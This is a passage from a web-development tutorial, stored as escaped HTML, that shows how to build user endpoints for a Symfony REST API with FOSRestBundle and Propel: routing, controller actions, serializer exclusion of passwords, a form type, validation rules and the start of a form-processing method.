    &lt;span class=&quot;na&quot;&gt;defaults&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_controller&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;AcmeDemoBundle&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_format&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;~&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;requirements&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;_method&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;GET&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;acme_demo_user_get&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;/users/{id}&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;defaults&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_controller&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;AcmeDemoBundle&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_format&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;~&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;requirements&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;_method&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;GET&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;d+&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserController&lt;/code&gt; class would contain the following code:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Acme\DemoBundle\Controller&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Acme\DemoBundle\Model\User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Acme\DemoBundle\Model\UserQuery&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;FOS\RestBundle\Controller\Annotations&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Rest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\HttpKernel\Exception\NotFoundHttpException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserController&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;cd&quot;&gt;/**
     * @Rest\View
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;allAction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserQuery&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;users&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;cd&quot;&gt;/**
     * @Rest\View
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getAction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserQuery&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;findPk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;instanceof&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;NotFoundHttpException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;User not found&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;user&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Instead of using a &lt;a href=&quot;http://symfony.com/doc/master/bundles/SensioFrameworkExtraBundle/annotations/converters.html&quot;&gt;ParamConverter&lt;/a&gt;,
I always use to fetch the object myself in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get*()&lt;/code&gt; methods. You will know later
why, just trust me for the moment, it’s better.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Status code&lt;/strong&gt; matter for your clients, so if the user doesn’t exist, use a
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NotFoundHttpException&lt;/code&gt; exception which returns a response with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;404&lt;/code&gt; status
code.&lt;/p&gt;

&lt;p&gt;By using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;View&lt;/code&gt; annotation, you will render the user object using the right
format according to the user &lt;strong&gt;Accept&lt;/strong&gt; header. Using an alias (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rest&lt;/code&gt;) for
this annotation is a trick to avoid confusion with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;View&lt;/code&gt; object we will
discover later. Basically, the annotation relies on this class. It’s just a
matter of taste whether you like annotations or not.&lt;/p&gt;

&lt;p&gt;Last thing, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;allAction()&lt;/code&gt; method has the same behavior, you fetch all your
users, and then you return them.&lt;/p&gt;

&lt;p&gt;A user has four properties: an &lt;em&gt;id&lt;/em&gt;, an &lt;em&gt;email&lt;/em&gt;, a &lt;em&gt;username&lt;/em&gt; and a &lt;em&gt;password&lt;/em&gt;.
You probably don’t want to expose the password for some good reasons. The easiest
way to achieve that is to configure the serializer. I use to configure it in
YAML:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# In Propel, the most part of the code is located in base classes&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# src/Acme/DemoBundle/Resources/config/serializer/Model.om.BaseUser.yml&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Acme\DemoBundle\Model\om\BaseUser&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;exclusion_policy&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ALL&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;expose&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;expose&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;expose&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I exclude all properties by default, it allows me more control on what I really
want to expose. It doesn’t matter with four attributes, but it’s always better
to adopt this strategy, it’s like configuring a firewall after all.&lt;/p&gt;

&lt;p&gt;Basically, you will get the following JSON response:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;999&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;xxxx&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;xxxx@example.org&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Easy right? But, you will probably need to create, update, or delete your users,
and that’s what we will discover in the next sections.&lt;/p&gt;

&lt;h3 id=&quot;post-it&quot;&gt;POST ‘it&lt;/h3&gt;

&lt;p&gt;Creating a resource implies the use of the &lt;strong&gt;POST&lt;/strong&gt; HTTP verb. But how do you get
data? How do you validate data? And how do you create your new resource? These
three questions have more than one answer or strategy.&lt;/p&gt;

&lt;p&gt;You could use the deserialization mechanism to create an object from the input
serialized data. There is an interesting work in progress by @beberlei about
&lt;a href=&quot;https://github.com/simplethings/SimpleThingsFormSerializerBundle&quot;&gt;Form
deserialization&lt;/a&gt;.
It’s a bit different than just using the &lt;a href=&quot;https://github.com/symfony/Serializer&quot;&gt;Serializer
component&lt;/a&gt; but it seems easier.&lt;/p&gt;

&lt;p&gt;I use to use the awesome &lt;a href=&quot;https://github.com/symfony/Form&quot;&gt;Symfony Forms&lt;/a&gt; to do
everything at once. So let’s write a Form type to create our users. Using the
PropelBundle, you could use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;propel:form:generate&lt;/code&gt; command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;php app/console propel:form:generate @AcmeDemoBundle User
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It will create the following form type:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Acme\DemoBundle\Form\Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\Form\AbstractType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\Form\FormBuilderInterface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\OptionsResolver\OptionsResolverInterface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserType&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;AbstractType&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;cd&quot;&gt;/**
     * {@inheritdoc}
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buildForm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;FormBuilderInterface&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$builder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$options&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$builder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;username&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$builder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;email&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;email&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$builder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;password&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;password&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;cd&quot;&gt;/**
     * {@inheritdoc}
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;setDefaultOptions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;OptionsResolverInterface&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$resolver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$resolver&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;setDefaults&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;&apos;data_class&apos;&lt;/span&gt;        &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;Acme\DemoBundle\Model\User&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;&apos;csrf_protection&apos;&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;cd&quot;&gt;/**
     * {@inheritdoc}
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;user&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The only things I tweaked are the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;email&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;password&lt;/code&gt; types, and I disabled
the CSRF protection. In a REST API, you probably use an security layer like
OAuth for example. Having a CSRF protection in a REST context doesn’t make sense.&lt;/p&gt;

&lt;p&gt;Now, you want to add validation rules, and thanks to the &lt;a href=&quot;http://symfony.com/doc/master/book/validation.html&quot;&gt;Validator
component&lt;/a&gt;, it’s really
powerful. I definitely love this component because it becomes simple to validate
all data you want in a safe way.&lt;/p&gt;

&lt;p&gt;Back to our use case, I use to define my validation rules in YAML, but feel free
to use your preferred way. Here is an example:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# src/Acme/DemoBundle/Resources/config/validation.yml&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Acme\DemoBundle\Model\User&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;getters&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;NotBlank&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;NotBlank&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Email&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;NotBlank&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s write the controller method now:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;newAction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;processForm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;New tip, always use a method to process your form. You will thank yourself.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;processForm()&lt;/code&gt; method looks like:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;processForm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$statusCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;isNew&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;201&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;204&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

